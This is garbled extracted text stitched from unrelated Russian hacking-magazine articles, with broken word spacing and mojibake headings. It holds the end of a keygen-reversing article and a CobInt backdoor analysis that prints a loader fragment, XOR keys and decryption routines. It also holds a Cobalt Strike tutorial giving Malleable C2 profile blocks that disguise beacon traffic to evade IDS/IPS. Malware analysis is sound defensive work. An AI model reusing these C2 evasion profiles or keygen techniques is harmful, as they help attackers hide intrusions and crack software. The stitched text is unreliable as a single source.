такой ключ. А это небезо пас но: ключ обыч но при вязы вает ся к дан ным кон- 
крет ного компь ютер ного обо рудо вания (серий ный номер жес тко го дис ка
и про цес сора, MAC-адрес и так далее).

Собс твен но, даже разоб ранный нами выше регис тра цион ный ключ под- 
держи вает при вяз ку к кон крет ному компь юте ру, но мы для упро щения раз- 
бора прос то игно риро вали зна чения некото рых групп, выб рав вари ант клю ча,
при вязан ного исклю читель но к дате.

В зак лючение хочу выс казать пару сооб ражений по поводу фор мата клю- 
ча. Откры тость дан ных внут ри разоб ранно го выше при мера обо юдоос тра —
с одной сто роны, хорошо вид но, для чего имен но этот ключ исполь зует ся
и какие у него огра ниче ния. Но если подумать, то зачем иску шать этой
информа цией прос того поль зовате ля? Магия вол шебной непонят ной ком- 
бинации букв и цифр пси холо гичес ки работа ет гораз до силь нее, тем более
все гиган ты соф твер ной индус трии пос тупа ют имен но так. Почему бы тебе
тоже не сле довать их при меру для допол нитель ной солид ности?

И еще один аспект каса ется кодиро вания информа ции внут ри клю ча.
Хорошим про фес сиональ ным тоном при изго тов лении регис тра цион ных клю- 
чей счи тает ся исполь зование крип тогра фии. Даже в таком прос том при мере,
который мы разоб рали выше, при генера ции кон троль ного бло ка исполь зует- 
ся шиф рование RC4 и ком прес сия FlateDecode. Одна ко мы лег ко иден- 
тифици рова ли эти алго рит мы и смо дели рова ли кей ген в сво ей собс твен ной
прог рамме, нам даже не приш лось ничего кодить руками — мы прос то лег ким
дви жени ем мыши нагуг лили рас простра нен ные стан дар тные биб лиоте ки,
реали зующие эти алго рит мы, и под клю чили их к сво ему про екту.

А пред ставь себе, если бы там ока залось неч то кас томное-самопис ное?
Воз можно, в ущерб крип тостой кос ти, но тру доем кость ревер са и модели- 
рова ния такого кодиро вания воз росла бы в разы. Каж дую стро ку алго рит ма
приш лось бы зубами выг рызать из деком пилиро ван ного кода, да еще и изоб- 
ретать спо соб про вер нуть этот фарш назад. Мож но даже, не выдумы вая
собс твен ный алго ритм, прос то поменять стан дар тные кон стан ты или, к при- 
меру, раз рядность век тора перес тановок того же RC4, что бы потен циаль ный
ревер сер сло мал себе моз ги во вре мя иден тифика ции и модели рова ния
крип тоал горит ма.

И наконец, нич то не меша ет нам поль зовать ся несим метрич ной крип- 
тогра фией. К при меру, если RC4 заменить ECDSA или RSA, то без сек ретно го
клю ча, даже при пол ном ревер се, вся идея генера ции клю ча на сто роне
была бы обре чена на про вал изна чаль но.

http://sourceforge.net/projects/rc4charp/files/RC4.cs/download
https://www.nuget.org/packages/Ionic.Zlib
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CobInt — это бэк дор, который активно
исполь зует груп пиров ка Cobalt/(Ex)Cobalt
при ата ках на рос сий ские ком пании.
В статье мы по шагам выпол ним реверс
CobInt и изу чим полез ные тех ники ана лиза
этой мал вари.

WWW

Под робнос ти про груп пиров ку, инс тру мен ты
и TTP ищи по ссыл кам:
•Cobalt: обновле ние так тик и инс тру мен тов
•Уже не те: ата ки (Ex)Cobalt на рос сий ские ком- 

пании в 2023 году

POWERSHELL LOADER

В начале 2024 года наша коман да по рас сле дова нию инци ден тов (PT ESC
Positive Technologies) выяви ла при мене ние мал вари CobInt в инфраструк туре
заказ чика. Про ана лизи ровав логи EVTX на ском про мети рован ной машине,
мы извлек ли силь но обфусци рован ный вре донос ный скрипт PowerShell.

Об фусци рован ный код PowerShell

В кон це кода скрип та мы видим вызов единс твен ной фун кции, которая нас
боль ше все го и инте ресу ет.

Вы зов фун кции

Код фун кции выг лядит сле дующим обра зом:

   If ([IntPtr]::size -eq 8)
{
   $L7Q=aQGIf
   $d90qSK=1331
}
else
{
   $L7Q=tNKdTPG
   $d90qSK=1166
}

 $YodSQB=[System.Convert]::FromBase64String((vXQvbyjhW $L7Q))

  RgEGGBTGL $YodSQB $d90qSK
}

В этой фун кции на осно ве раз мера ука зате ля опре деля ется раз рядность ОС,
в зависи мос ти от которой перемен ной  прис ваивает ся соот ветс тву- 

ющее зна чение. Оно опре деля ет сме щение к фун кции рас шифров ки
шелл-кода. Шелл-код для опре делен ной архи тек туры декоди рует ся
из Base64, пос ле чего переда ется в фун кцию  вмес те со сме щени- 

ем. Что бы сох ранить рас кодиро ван ный шелл-код на диск, сра зу пос ле вызова
фун кции  добавим в код сле дующую стро ку:

$d90qSK

RgEGGBTGL

FromBase64String

[IO.File]::WriteAllBytes('shellcode.bin',$YodSQB) 

Те перь убе дим ся, что шелл-код сох ранил ся кор рек тно. Закиды ваем его в IDA,
перехо дим по сме щению  в слу чае с x64 и пре обра зуем бай ты

в код.

1331 (0x533)

Код рас шифров ки по сме щению 0x533

ÐÀÑØÈÔÐÎÂÊÀ ÒÅËÀ ØÅËË-ÊÎÄÀ

Код, который отве чает за рас шифров ку самого себя в памяти, выг лядит сле- 
дующим обра зом.

Код для дешиф ровки тела шелл-кода

Нам нуж но пре обра зовать шелл-код в исполня емый файл. Я это делаю
с помощью :shellcode2exe

shellcode2exe.bat 64 shellcode.bin cob_shellx64.exe 

Те перь мы можем заг рузить получив ший ся исполня емый файл в x64dbg. Пос- 
ле заг рузки жмем RUN, что бы перей ти к EntryPoint.

Ин тер пре тация зашиф рован ных бай тов шелл-кода дебаг гером

Код на текущий момент еще не рас шифро ван и пред став ляет собой воль ную
интер пре тацию мешани ны из бай тов, выдан ной дебаг гером. Нуж но перей ти
по извес тно му сме щению  + ImageBase, то есть в нашем слу чае
по адре су .

0x533
0x401533

Точ ка вхо да для рас шифров ки кода

Мы видим уже зна комую фун кцию для рас шифров ки тела шелл-кода. Выпол- 
нять код мы нач нем с текущей стро ки. Для это го жмем Set RIP Here, пос ле
чего адрес  при мет необ ходимое зна чение.Instruction Pointer

С помощью F8 нуж но прой тись по инс трук циям рас шифров ки и най ти ту,
которая отве чает за выход из цик ла. Эта инс трук ция находит ся по адре су

.0x401538

Инс трук ция для выхода из цик ла рас шифров ки

Ста вим брейк-пой нт на сле дующей за  инс трук ции и нажима ем F9, что бы

вруч ную не ходить по каж дой ите рации цик ла рас шифров ки. Пос ле оста нов ки
на нашем брейк-пой нте про ходим по коду нем ного даль ше и пры гаем
на начало уже рас шифро ван ного кода в ори гиналь ной EntryPoint.

jne

Рас шифро ван ный код в EntryPoint

На этом эта пе мы можем сдам пить PE в рас шифро ван ном виде для удобс тва
даль нейше го дебага. Я исполь зую в этих целях пла гин OllyDumpEx.

Дамп про цес са

Код для рас шифров ки себя в памяти содер жит сле дующий алго ритм:
1. XOR пер вых четырех бай тов (Little Endian) с зашитым клю чом .0x4498D9DE

2. По бито вый сдвиг вле во на один бит для клю ча ( ).rol xor_key, 1

3. XOR сле дующих четырех бай тов с модифи циро ван ным клю чом и так далее.

WWW

Ин тер пре тация алго рит ма рас шифров ки на Go
с вши тым клю чом

Продолжение статьи →

mailto:ko1mbo656@gmail.com
https://www.ptsecurity.com/ru-ru/research/pt-esc-threat-intelligence/cobalt-obnovlenie-tactic-i-instrumentov/
https://www.ptsecurity.com/ru-ru/research/pt-esc-threat-intelligence/uzhe-ne-te-ataki-ex-cobalt-na-rossijskie-kompanii-v-2023-godu/
https://github.com/repnz/shellcode2exe
https://github.com/j0rtxf/cobint_decrypt/blob/main/SelfDecrypt.go
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Unhashing functions
Нас тало вре мя поковы рять ся в заг рузчи ке. Откры ваем сдам плен ный файл
в x64dbg. В коде встре чает ся мно жес тво вызовов фун кции , в которую

переда ются раз личные Hex-зна чения. Обыч но такой пат терн свой стве нен
фун кци ям, отве чающим за вос ста нов ление имен биб лиотек и фун кций
из хеш-зна чений. Как вид но на скрин шоте, пер вый вызов вер нул имя фун кции

 биб лиоте ки , а так же ее адрес в RCX.

401380

LoadLibraryA Kernel32

Вы зов unhashing-фун кции

Рас смот рим эту фун кцию под робнее. Обра ти вни мание на сле дующий код.

Инс трук ции для получе ния информа ции из PEB

Этот модуль сна чала получа ет ука затель на PEB (Process Environment Block)
через сме щение  в TEB (Thread Environment Block), дос туп к которо му
осу щест вля ется через регистр . Затем код перехо дит по сме щени ям 

и . Что бы понять, что это за сме щения, мож но обра тить ся к опи санию

струк туры PEB или про верить их в WinDbg. Для это го:

0x60
gs 0x18

0x20

заг ружа ем исполня емый файл в WinDbg;•
вво дим коман ду  для уста нов ки брейк-пой нта на EntryPoint;• bp $exentry

за пус каем исполне ние коман дой ;• g

пе реме щаем ся нажати ем F8 к рас смат рива емо му учас тку кода.•

Ко ман да  покажет струк туру PEB со сме щени ями.dt ntdll!_PEB @$peb

Струк тура PEB в WinDbg

Пер вое сме щение ука зыва ет на струк туру , которая содер жит
в себе све дения о заг ружен ных модулях для про цес са. Изу чим ее пов- 
ниматель нее, для это го в WinDbg вве дем коман ду .

PEB_LDR_DATA

dt -r1 _PEB_LDR_DATA

Струк тура PEB_LDR_DATA в WinDbg

Вто рое сме щение ука зыва ет на двус вязный спи сок
, который содер жит заг ружен ные модули для про- 

цес са. Каж дый эле мент в этом спис ке явля ется ука зате лем на струк туру
. Сме щение на него лежит в , поэто му берем

адрес из  и нак ладыва ем на него струк туру .

InMemoryOrderModuleList

LDR_DATA_TABLE_ENTRY rbx
rbx _LDR_DATA_TABLE_ENTRY

Со дер жание струк туры LDR_DATA_TABLE_ENTRY, на которую получен
ука затель

Та ким обра зом, по сме щению  код получа ет дос туп к полю  с име- 

нем модуля. Далее вызыва ется фун кция, в которую аргу мен тами переда ется
ука затель на стро ку с име нем модуля и дли на стро ки.

0x50 buffer

Пе реда ча име ни модуля и дли ны стро ки в фун кцию

Эта фун кция выпол няет хеширо вание стро ки. Алго ритм выг лядит сле дующим
обра зом.

Ал горитм хеширо вания стро ки

По лучив хеш, алго ритм про веря ет получен ное зна чение с передан ным ранее
аргу мен том. Если зна чения не сов пада ют, выпол няет ся переход к сле дующе- 
му име ни модуля. Если сов пада ют, то сох раня ется ука затель на адрес биб- 
лиоте ки, к которо му при бав ляют ся сме щения.

Дос туп к дан ным биб лиоте ки по сме щени ям

По сме щению  мы получа ем зна чение , ука зыва ющее на 

. При бавив к нему , мы получим ука затель на таб лицу экспор та
и по сме щению  най дем ука затель на . Здесь содер- 

жатся име на экспор тиру емых биб лиоте кой фун кций. Имя переда ется
в хеширу ющую фун кцию, пос ле чего хеш срав нива ется с передан ным ранее.

0x3c e_lfanew NT 
Headers 0x88

0x20 AddressOfNames

Пе реда ча име ни API-фун кции в фун кцию хеширо вания

Та ким обра зом код резол вит спи сок API-фун кций, которые будут исполь- 
зованы в даль нейшем.

HTTP Request to C2
Даль ше код заг ружа ет биб лиоте ки  и , что намека ет

на пос леду ющий алго ритм работы шелл-кода. Затем прог рамма получа ет
адре са инте ресу ющих ее фун кций из заг ружен ных биб лиотек и прис тупа ет
к их вызову. Пер вой в цепоч ке вызыва ется фун кция 

из .

wininet.dll urlmon.dll

ObtainUserAgentString
urlmon

Вы зов фун кции ObtainUserAgentString

Вто рой вызыва ется  для ини циали зации  и получе ния
дес крип тора. По адре су  мы видим про цесс рас шифров ки C2. Сна- 

чала в буфер заг ружа ются зашиф рован ные бай ты, затем они ксо рят ся пач- 
ками по четыре бай та с XOR-клю чом .

InternetOpenA WinInet
0x401195

F055FDF8

Про цесс рас шифров ки домена C2

Как обыч но, ста вим брейк-пой нт на сле дующую инс трук цию пос ле 

и смот рим в буфер, на который ука зыва ет адрес в регис тре . Там обна- 

ружи вает ся рас шифро ван ный C2.

jne
RCX

Этот C2 исполь зует ся в фун кции .InternetConnectA

Пос ле выпол нения фун кции мы попада ем на код для рас шифров ки име ни
фай ла с наг рузкой на C2. Алго ритм тот же самый, что и при рас шифров ке
домена.

Рас шифров ка име ни стра ницы на сер вере C2

Пос ле получе ния URL вызыва ется фун кция  для фор- 
мирова ния хен дла зап роса, а в кон це — фун кция , которая

уже непос редс твен но отправ ляет GET-зап рос на сфор мирован ный URL.

HttpOpenRequestA
HttpSendRequestA

INFO

Что бы не вклю чать интернет на вир туал ке, не сту- 
чать ся на C2 к хакерам и что бы шелл при этом
кор рек тно отра баты вал без пат чинга, я про писал
в фай ле  C2 на localhost, пос ле чего под- 
нял прос той веб-сер вер на питоне. Тут нуж но
иметь в виду, что зап рос идет по HTTPS и наш
сер вер дол жен это под держи вать. Для начала
генерим сер тификат:

hosts

  
 365 

openssl.exe req -new -x509 -keyout 
server.pem -out server.pem -days
-nodes

А вот код для самого веб-сер вера:

from http.server import HTTPServer, 
SimpleHTTPRequestHandler 
import ssl 

 , 443server_address = ('localhost' )
httpd = HTTPServer(server_address, 
SimpleHTTPRequestHandler)

, 
True

httpd.socket = ssl.wrap_socket(httpd.
socket, certfile='server.pem'
server_side= )

print("Starting HTTPS server...")
httpd.serve_forever()

Ус пешный HTTP-зап рос к нашему сер веру

Зап рос выпол нен успешно, поэто му шелл-код про дол жает свою работу.
На сле дующем шаге мы вызыва ем фун кцию . Она выделя ет
буфер для сле дующе го стей джа, который поз днее будет получен с C2.

 воз вра щает адрес выделен ного буфера в . Желатель но

сра зу нажать на него пра вой кноп кой мыши и выб рать в кон текс тном меню
пункт Follow in Dump, что бы отсле живать его содер жимое.

VirtualAlloc

VirtualAlloc RAX

Вы деле ние буфера с помощью фун кции VirtualAlloc

На этом эта пе в гла за бро сает ся вызов фун кции , которая

дол жна получить сле дующий стей дж с сер вера и положить его в выделен ный
буфер. Так как сам стей дж в рас смат рива емом при мере заранее заг ружен
отдель ным фай лом (а в отдель ных слу чаях он осе дает в кеше IE, отку да его
мож но дос тать), мы прос то положим его на веб-сер вер, не меняя имя.
В качес тве аль тер нативы мож но заг рузить стей дж в буфер вруч ную, но при
этом есть шанс стол кнуть ся с проб лемами в логике шелл-кода, с которы ми
при дет ся раз бирать ся. Пос ле выпол нения фун кции мы видим, что в буфер
успешно заг рузилось содер жимое фай ла с пей лоадом.

InternetReadFile

Ус пешная заг рузка пей лоада в буфер

За тем идет модуль, рас шифро выва ющий код в буфере. Как обыч но, ста вим
брейк-пой нт за  и смот рим, как изме нил ся код в буфере.jne

Ре зуль тат рас шифров ки пей лоада

Фор миру ется адрес точ ки вхо да, куда и переда ется управле ние.

Пе реход на точ ку вхо да рас шифро ван ной биб лиоте ки

На этом эта пе мы уже можем сдам пить рас шифро ван ный PE. Нажима ем пра- 
вую кноп ку мыши, выбира ем пункт Follow in Memory Map и дам пим соот ветс- 
тву ющий сег мент памяти в файл.

Дамп рас шифро ван ной биб лиоте ки на диск

На вся кий слу чай про верим в PeStudio, что все прош ло глад ко.

Таб лица импорта в PeStudio

Таб лица экспор та в PeStudio

Им порты и экспорт на мес те, мож но дви гать ся даль ше.

Ðàñøèôðîâêà ïîëåçíîé íàãðóçêè
Ал горитм рас шифров ки выг лядит сле дующим обра зом:

   key = 0xF055FDF8;
         counter = (unsigned __int64)(unsigned int)(v20 + 4) >> 2;
do
{
       result = first_chunk ^ (*data_pointer - key);
       val1_ror = (*data_pointer >> 3) & 7;
       
  
first_chunk = (unsigned int)__ROL4__(first_chunk, (*data_pointer &

7) + 1);
   *data_pointer++ = result;
      key = __ROR4__(key, val1_ror + 1);
 --counter;
}

   while ( counter )

В код зашит ключ. В качес тве век тора ини циали зации исполь зуют ся пер вые
восемь бай тов из буфера, то есть дан ные начина ют рас шифро вывать ся
со вто рого 8-бай тно го зна чения. Я написал дек риптор на Go и выложил 

 рабочий вари ант.
на

GitHub
Этот вари ант тре бует наличия XOR-клю ча для рас шифров ки, который

содер жит пре дыду щий стей дж. Но что делать, если у нас на руках толь ко
зашиф рован ный пей лоад, который мы вытащи ли, нап ример, из кеша IE,
а кода самого заг рузчи ка нет? В таком слу чае я не при думал ничего луч ше,
чем прос то попытать ся сбру тить 8-бай тный ключ, который исполь зует ся
в алго рит ме шиф рования. Мно гопо точ ный бру тер клю ча написан на Go, его
тоже мож но .ска чать с гит хаба

Прог рамма запус кает ся сле дующей коман дой:

payload_decrypt_auto.exe enc.bin dec.bin 

В качес тве зна чения для верифи кации код будет искать в рас шифро ван ных
дан ных стро ку . Резуль тат

работы прог раммы — рас шифро ван ная DLL и вывод подоб ранно го XOR-клю- 
ча. В ходе экспе римен тов прог рамма успешно рас шифро вала все име- 
ющиеся у меня сем плы, на это у нее ушло в сред нем от минуты до пят надца ти
минут.

This program cannot be run in DOS mode

Продолжение статьи →

https://github.com/j0rtxf/cobint_decrypt/blob/main/payload_decrypt.go
https://github.com/j0rtxf/cobint_decrypt/blob/main/payload_decrypt_auto.go
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ÈÑÑËÅÄÎÂÀÍÈÅ ÇÀÃÐÓÆÅÍÍÎÉ DLL

Про дол жаем дебажить. В x64dbg перей дем уже непос редс твен но в рас- 
шифро ван ную биб лиоте ку, парал лель но откро ем код в IDA и пос мотрим, где
мы ока зались пос ле перехо да по сме щению. А ока зались мы в экспор тиру- 
емой фун кции .ReflectiveLoader

Эк спор тиру емая фун кция DLL

Так как в таб лице импорта фигури руют адре са фун кций из биб лиоте ки
, сра зу рас ста вим брейк-пой нты на сле дующие фун кции (в x64dbg

это мож но сде лать в стро ке ):
WinInet

Command: bp FunctionName
;• InternetOpenA

;• HttpOpenRequestA

;• InternetReadFileA

;• VirualAlloc

.• GetProcAddress

За пус каем ся. Сна чала бря каем ся на фун кции , которая

выделя ет буфер. Перей дем на адрес буфера в окне Dump: здесь код резол- 
вит адре са биб лиотеч ных фун кций для даль нейшей работы.

VirtualAlloc

Ос танав лива емся на вызове , так как это может слу жить

инди като ром под готов ки к выпол нению HTTP-зап роса. Сле дова тель но,
где-то поб лизос ти дол жен будет рас шифро вывать ся C2. Поищем гла зами
по коду подоз ритель ные мес та с XOR, которые могут отве чать за рас шифров- 
ку полез ной для нас информа ции. Находим под ходящий учас ток кода.

InternetOpenA

Инс трук ции для рас шифров ки домена C2

В фун кцию переда ются ука зате ли на XOR-ключ и зашиф рован ные дан ные.

Вы зов фун кции рас шифров ки C2

Ви дим зна чения для дешиф ровки.

А вот и сам XOR-ключ.

XOR-ключ

Та ким обра зом, рас шифров ка дан ных про исхо дит путем побай тового ксо ра
клю ча с зашиф рован ной стро кой. Ста вим брейк-пой нт за  и видим рас- 
шифро ван ное зна чение.

jne

Рас шифро ван ное зна чение C2

Кста ти, если поис кать в сыром Hex сдам плен ной на диск биб лиоте ки
это зашиф рован ное зна чение и ключ для него, мы най дем их захар дко жен- 
ными пос ле таб лицы импорта.

За хар дко жен ные зна чения C2 и XOR-клю ча

Ис сле дова ние трех раз личных сем плов мал вари показа ло, что сме щения
клю ча и зашиф рован ных бай тов отно ситель но друг дру га иден тичны у вер сии
x64 и отли чались у вер сии x86. На осно ве этих дан ных я написал 

.
эк спе римен- 

таль ный код на Go для дешиф ровки C2

У меня прог рамма сра бота ла, но это, конеч но, не дает никаких гаран тий, что
дешиф ровщик нор маль но отра бота ет на дру гих сем плах.

Про дол жая иссле довать код, мы натыка емся на вызов фун кции
, в резуль тате выпол нения которой будет извле чено зна- 

чение  сетево го адап тера.

GetAdaptersInfo
ServiceName

Вы зов фун кции GetAdaptersInfo

Зна чение ServiceName в реес тре

За тем вызыва ется фун кция, которая генери рует огромное количес тво ран- 
домных бай тов, попут но перек соривая меж ду собой все, что попада ется
под руку, вклю чая . В даль нейшем, веро ятно, эти зна чения

исполь зуют ся в качес тве уни каль ного иден тифика тора сис темы на C2.

ServiceName

Фун кция для генера ции иден тифика цион ной стро ки

В резуль тате всех этих опе раций будет сге нери рова на сле дующая стро ка.

Сфор мирован ная иден тифика цион ная стро ка

Да лее идут фун кции для под готов ки и отправ ки HTTP-зап роса на C2.

Фун кции под готов ки и отправ ки HTTP-зап роса

В ито ге с C2 на инфи циро ван ную машину сно ва будет заг ружен пей лоад
при помощи фун кции , пос ле чего он рас шифро выва ется

и запус кает ся.

InternetReadFile

ÂÛÂÎÄÛ

На чав ана лиз со скрип та в логах PowerShell, мы успешно извлек ли и рас- 
шифро вали заг рузчик, саму полез ную наг рузку, про ана лизи рова ли тех ничес- 
кую реали зацию ком понен тов мал вари, а так же написа ли пару полез ных ути- 
лит для дешиф ровки кода на раз ных эта пах работы вре донос ного ПО.

https://github.com/j0rtxf/cobint_decrypt/blob/main/c2_decrypt.go
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ВЗЛОМ

Malleable C2 — это мощ ная фун кция Cobalt
Strike, которая поз воля ет нас тра ивать
и изме нять сетевое вза имо дей ствие меж ду
маяч ком и сер вером. Это дает зло умыш- 
ленни кам воз можность мас кировать свой
тра фик, делая его похожим на легитим ные
зап росы и отве ты. Такая мас киров ка
помога ет обой ти сис темы обна руже ния
и зат руднить ана лиз тра фика.

В этой статье мы рас смот рим про цесс соз дания и нас трой ки про филя
Malleable C2, который будет ими тиро вать легитим ные зап росы к извес тным
сай там. Мы деталь но раз берем струк туру про филя и пос мотрим, как замас- 
кировать его под вза имо дей ствие с реаль ными сер висами.

WARNING

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

×ÒÎ ÒÀÊÎÅ ÏÐÎÔÈËÜ MALLEABLE C2

Про филь Malleable C2 поз воля ет гиб ко нас тро ить поведе ние маяч ка (beacon)
Cobalt Strike при вза имо дей ствии с сер вером управле ния (Team Server).
Основное наз начение про филя Malleable C2 — изме нять сетевые зап росы
и отве ты таким обра зом, что бы они выг лядели как обыч ный тра фик, который
не будет вызывать воп росов у сис тем IDS/IPS. К тому же это усложня ет ана- 
лиз тра фика спе циалис тами. Дос тига ется же мас киров ка путем нас трой ки
раз личных парамет ров HTTP-зап росов и отве тов: URI, заголов ков, парамет- 
ров и содер жимого зап роса.

ÊÀÊ ÏÐÎÈÑÕÎÄÈÒ ÂÇÀÈÌÎÄÅÉÑÒÂÈÅ

Ког да маячок запус кает ся на целевой машине, он ини циирует тран закцию
HTTP-GET к Team Server (зап рос при этом может быть как GET, так и POST).
В зап росе переда ются метадан ные о ском про мети рован ной сис теме. Сер- 
вер в ответ отправ ляет задачи, которые дол жен выпол нить маячок. Пос ле
завер шения задач маячок про веря ет наличие дан ных для отправ ки и ини- 
циирует тран закцию HTTP-POST, содер жащую иден тифика тор сеан са. Сер- 
вер исполь зует эту информа цию для при вяз ки дан ных к соот ветс тву юще му
сеан су.

Те перь, ког да мы разоб рались с осно вами вза имо дей ствия маяч ка и сер- 
вера, перей дем к нас трой ке про филя Malleable C2.

ÑÒÐÓÊÒÓÐÀ ÏÐÎÔÈËß

Для запус ка Team Server с кас томным про филем необ ходимо выпол нить
коман ду

./teamserver <ip> <pass> <путь к файлу с профилем> 

Про филь опи сыва ет, как маячок обща ется с сер вером и как про исхо дит пос- 
тэкс плу ата ция. Выше я говорил, что маячок исполь зует два вида тран закций
для обме на дан ными (HTTP-GET и HTTP-POST). Даль ше мы пос мотрим,
как реали зовать это в про филе.

http-get
В про филе параметр  отве чает за переда чу метадан ных на Team

Server и получе ние задач от него. Он обя зан содер жать клю чи:

http-get

 — опи сыва ет, как будет выг лядеть HTTP-зап рос от маяч ка к сер- 
веру;

• client

 — опи сыва ет ответ сер вера на зап рос.• server

Ключ  дол жен иметь параметр , в котором опре деля ются

спо собы обра бот ки отправ ляемой маяч ком мета информа ции, а ключ
 — параметр , в котором опи сыва ется порядок обра бот ки отве- 

та кли енту.

client metadata

server output

В парамет рах  и  еще опре деля ются:client server
 — опи сыва ет URL;• uri

 — добав ляет HTTP-заголов ки к зап росу;• header

 — добав ляет парамет ры к .• parameter uri

В перечис ленных парамет рах могут исполь зовать ся под ста новоч ные зна ки
или перечис ление зна чений.

Из менять метадан ные ( ) и выводи мую информа цию ( )

помогут сле дующие выраже ния:

metadata output

—  — добав ляет стро ку в кон це дан ных; 

—  — кодиру ет дан ные в Base64; 

—  — кодиру ет дан ные в Base64 для исполь зования в URL; 
—  — выпол няет опе рацию XOR со слу чай ным клю чом; 

—  — кодиру ет дан ные в NetBIOS; 

—  — кодиру ет дан ные в NetBIOS; 

—  — добав ляет стро ку перед дан ными.

append
base64
base64url
mask
netbios
netbiosu
prepend
Пре обра зова ние дан ных дол жно закан чивать ся одним из сле дующих опе- 

рато ров, ука зыва ющих на мес то раз мещения переда ваемой информа ции
в HTTP-зап росе:

 — запишет отправ ляемые дан ные в HTTP-заголо вок
 (может исполь зовать ся любой заголо вок);

• header "Cookie"

Cookie

 — запишет отправ ляемые дан ные в параметр 
(нап ример, 

);

• parameter "view" view

http://sadfadsf.com/asdfsadf?view=<

передаваемые_данные>

 — запишет дан ные в тело HTTP (  для бло ков 
,  и 

);

• print îáÿ çàòå ëåí http-

get.server.output http-post.server.output http-stager.

server.output

 — добавит дан ные в URI.• uri-append

Струк тура про филя HTTP-GET будет сле дующая:

http-get {

   set uri "/hacker/notes/[set.php|view.php]";

   client {
       # Параметры header и parameter можно пропустить
       header "Accept-Encoding" "gzip, deflate";
       parameter "user" "admin|xaker|helpdesk";
       metadata {
           base64url
           uri-append
       }
   }

   server {
       # Параметры header и parameter можно пропустить
       header "Accept-Encoding" "gzip, deflate";
       parameter "user" "admin|xaker|helpdesk";

       output {
           mask
           base64
           prepend "data="
           print
       }
   }
}

http-post
Этот параметр отве чает за отправ ку дан ных, получен ных в резуль тате выпол- 
нения задач маяч ка.

Ана логич но тран закции HTTP-GET в HTTP-POST опи сыва ется, как отправ- 
лять и при нимать дан ные. Для  тре бует ся опи сать  — ID сес- 

сии маяч ка,  — дан ные, отправ ляемые маяч ком; 

, как пра вило, пус той.

client client.id
client.output server.

output

http-post {
   set uri "/notes/[add.php|delete.php]";

   client {
       header "Flag" "Im not hacker";
       parameter "username" "admin";

       id {
           mask;
           base64url;
           print
       }

       output {
           mask;
           base64url;
           print;
       }
   }

   server {

       output {
           base64url;
           print;
       }
   }
}

Нес мотря на наз вания струк тур  и , мы можем пере опре- 

делить, какие HTTP-зап росы будут исполь зовать ся для переда чи информа- 
ции:

http-get http-post

verb  set "POST"; # GET or POST

Нап ример:

http-get {
   set uri "/test /qvest";
   set verb "POST";
   client {
       metadata {
           print;
       }
   }
   server {
       output {
           print;
       }
   }
}

Те перь, ког да мы поз накоми лись со струк турой Malleable C2, мы можем
перей ти к соз данию про филя, который будет мас кировать тра фик под работу
с легитим ным сай том.

Продолжение статьи →



MALLEABLE C2
СОЗДАЕМ ПРОФИЛЬ ДЛЯ

СКРЫТОЙ ПЕРЕДАЧИ ДАННЫХ
COBALT STRIKE

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÂÛÁÈÐÀÅÌ ÑÀÉÒ È ÍÀÏÎËÍßÅÌ ÏÐÎÔÈËÜ

Ïðîôèëü ïî óìîë÷àíèþ
Team Server запус кает ся с кон фигом по умол чанию. Давай пос мотрим на ту
часть, которая отве чает за сетевое вза имо дей ствие.

http-get {

   set uri "/ca /dpixel /__utm.gif /pixel.gif /g.pixel /dot.gif /
updates.rss /fwlink /cm /cx /pixel /match /visit.js /load /push /
ptj /j.ad /ga.js /en_US/all.js /activity /IE9CompatViewList.xml";

   client {
       metadata {
           base64;
           header "Cookie";
       }
   }

Ви дим, что маячок будет обра щать ся к Team Server, исполь зуя одно из зна- 
чений, ука зан ных в парамет ре .uri

INFO

Пу ти из про филя по умол чанию могут исполь- 
зовать ся для поис ка сле дов ком про мета ции
в инфраструк туре, если зло умыш ленник
не поменял про филь на свой.

Ме таин форма ция маяч ка кодиру ется в Base64 и помеща ется в HTTP-
заголов ке .Cookie

HTTP-ответ сер вера будет содер жать заголо вок  с содер- 

жимым . Наг рузка сер вера хра нит ся в теле отве- 
та.

Content-Type
application/octet-stream

   server {
       header "Content-Type" "application/octet-stream";
       output {
           print;
       }
   }
}

Да вай теперь рас смот рим слу чай зап роса HTTP-POST. Для тран закции будет
исполь зовать ся вот такой URI: . Заголо вок  — тот

же, . Иден тифика тор будет переда вать ся

парамет ром URL, нап ример:

/submit.php Content-Type
application/octet-stream

/submit.php?id=2v78b472834v789b0378b906v 

Пе реда ваемые дан ные — в теле зап роса:

http-post {
   set uri "/submit.php";
   client {
       header "Content-Type" "application/octet-stream";
       id {
           parameter "id";
       }
       output {
           print;
       }
   }

От вет сер вера име ет заголо вок HTTP  со зна чени ем 
. Дан ные — в теле отве та.

Content-Type text/
html

   server {
       header "Content-Type" "text/html";

       output {
           print;
       }
   }
}

Да вай пос мотрим, как это будет выг лядеть в тра фике. Для тес тирова ния про- 
филя у Cobalt Strike есть скрипт . Для его запус ка пишем:c2lint

./c2lint путь к файлу 

В про филе было опре деле но, что маяк дол жен обра тить ся на один из ука зан- 
ных URI ( ), а метадан ные дол жны быть ука заны в HTTP-заголов ке

 в виде Base64. У заголов ка отве та сер вера дол жны быть 

, а дан ные — в теле отве та.

visit.js
Cookie Content-
Type: application/octet-stream

http-get 
---
GET /visit.js HTTP/1.1 
Cookie: AlZ5bksajXiMR33rpPYp8w==

 MASP
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64
; Trident/6.0; )

HTTP/1.1 200 OK                                       Content-Type: 
application/octet-stream                Content-Length: 64 

~Ak&.....E..S;..U.. .%.......:4Hb.+.H...........H+.aY.2`..P..A.. 

При выпол нении тран закции HTTP-POST маяк выпол няет POST-зап рос на 

 и добав ляет параметр id, который хра нит зна чение иден тифика- 
тора сес сии; дан ные выводят ся в HTTP-body. Ответ сер вера, в свою оче редь,
дол жен иметь заголо вок .

/
submit.php

Content-Type: text/html

http-post 
---
POST /submit.php?id=56926 HTTP/1.1                    Content-Type: 
application/octet-stream 
Content-Length: 16                                    User-Agent: 
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0
; MALCJS)
.pi...9..csQ...f 
HTTP/1.1 200 OK 
Content-Type: text/html 
Content-Length: 0 

